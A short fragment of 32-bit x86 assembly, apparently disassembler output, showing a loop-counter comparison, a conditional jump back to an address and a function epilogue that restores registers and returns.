mov esi, dword [ebp - 0x40]
add esi, 1
mov edi, dword [ebp - 0x18]
cmp esi, edi
mov dword [ebp - 0x34], edx
mov dword [ebp - 0x3c], esi
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x24], ecx
jb 0x10216cce
mov eax, dword [ebp - 0x24]
add esp, 0x44
pop esi
pop edi
pop ebx
pop ebp
ret